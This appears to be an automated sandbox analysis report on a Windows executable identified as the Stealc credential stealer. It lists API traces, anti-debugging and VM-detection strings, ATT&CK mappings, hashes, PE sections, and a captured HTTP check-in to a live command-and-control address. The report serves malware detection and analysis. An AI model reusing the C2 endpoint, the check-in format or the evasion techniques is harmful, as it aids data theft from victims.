Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB47C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00EB47C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EAF7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00EAF7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA1710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00EA1710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EADB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00EADB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB4B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00EB4B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB3B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00EB3B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EABE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00EABE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EAEE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00EAEE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EADF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00EADF10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EA1160 GetSystemInfo,ExitProcess,

0_2_00EA1160

Source: file.exe, file.exe, 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1812029198.0000000001C68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWR,
Source: file.exe, 00000000.00000002.1812029198.0000000001C61000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1812029198.0000000001BDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1812029198.0000000001C35000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: file.exe, 00000000.00000002.1812029198.0000000001BDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwares
Source: file.exe, 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36537
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36540
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36556
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36552
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36592
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36425

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EA4610 VirtualProtect ?,00000004,00000100,00000000

0_2_00EA4610

Source: C:\Users\user\Desktop\file.exe

0_2_00EB9BB0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EB9AA0 mov eax, dword ptr fs:[00000030h]

0_2_00EB9AA0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EB7690 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA,

0_2_00EB7690

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 4408, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB9790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00EB9790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB98E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_00EB98E0

Source: file.exe, file.exe, 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: $Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EE75A8 cpuid

0_2_00EE75A8

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00EB7D20

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EB6BC0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00EB6BC0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EB79E0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00EB79E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EB7BC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00EB7BC0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1769403587.0000000005850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1812029198.0000000001BDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4408, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1769403587.0000000005850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1812029198.0000000001BDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4408, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	334 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	41%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
http://185.215.113.206/6c4adf523b719729.php=	17%	Virustotal		Browse
http://185.215.113.206/6c4adf523b719729.php	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/6c4adf523b719729.php	true	17%, Virustotal, Browse	unknown
http://185.215.113.206/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/6c4adf523b719729.php2	file.exe, 00000000.00000002.1812029198.0000000001C46000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php=	file.exe, 00000000.00000002.1812029198.0000000001C35000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse	unknown
http://185.215.113.206/hb5	file.exe, 00000000.00000002.1812029198.0000000001C46000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php%.e	file.exe, 00000000.00000002.1812029198.0000000001BDE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206	file.exe, 00000000.00000002.1812029198.0000000001BDE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.206/ws	file.exe, 00000000.00000002.1812029198.0000000001C46000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpa~	file.exe, 00000000.00000002.1812029198.0000000001C35000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000003.1769403587.000000000587B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544215
Start date and time:	2024-10-29 04:00:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 134
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.957814086215835
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'149'888 bytes
MD5:	1f9bbfe42e611b314849010fb1bbe51c
SHA1:	5a25bc214ecb669fa11dc91c84c19e5d238125ba
SHA256:	0a348ff9b393249df44a77c30c8cef6cacc54f9f6d1fcf34bfb195cef3e455b4
SHA512:	41b1d1987e58f462afe58f788d260e948d8dcc74cf0bb0ca04c65fc2fa30b1062355a787cddbc2a4d49b1d1d586ae4f9c718c73f532c92355022072bc850fdf5
SSDEEP:	49152:Zz3DrGYYGC9Zmnhb99fRP2wT0STYA2N6GGLcDbVz:h3Dq1G0ZERbPJYcTwZ
TLSH:	CFA533C16D2E32A3E2ABC0F42E49B73DA74539DADE2F86BF58D198038D0717645D11B8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xb35000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC8516783AAh
shrd dword ptr [eax], esp, 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FC85167A3A5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [0200000Ah], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	567854892c55d978421b55ae308646ab	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2a8000	0x200	c93c1008486e6a181c0181116a00c6b4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oxrzanjf	0x592000	0x1a2000	0x1a1e00	44e56afcfaacb928272b38f7e52b3c9a	False	0.9948995569099611	data	7.953822879686721	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lnkngpyb	0x734000	0x1000	0x400	3b2b09a6725a93942fdd5bdf1df16a8f	False	0.775390625	data	6.076236953350956	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x735000	0x3000	0x2200	5f9762b3c4eaab5115f483d7b5de243e	False	0.03699448529411765	DOS executable (COM)	0.3288463041264524	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T04:01:10.465335+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 04:01:09.282229900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:01:09.287568092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:01:09.287669897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:01:09.289606094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:01:09.294817924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:01:10.180682898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:01:10.180799961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:01:10.184680939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:01:10.190126896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:01:10.465209961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:01:10.465334892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:01:14.134634018 CET	49730	80	192.168.2.4	185.215.113.206

HTTP Request Dependency Graph

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	4408	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 04:01:09.289606094 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 04:01:10.180682898 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:01:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:01:10.184680939 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 44 39 30 33 34 32 42 34 38 35 33 30 32 35 39 39 37 34 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="hwid"0ED90342B485302599741------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="build"tale------AAAKEBGDAFHIIDHIIECF--
Oct 29, 2024 04:01:10.465209961 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:01:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	23:01:06
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xea0000
File size:	2'149'888 bytes
MD5 hash:	1F9BBFE42E611B314849010FB1BBE51C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
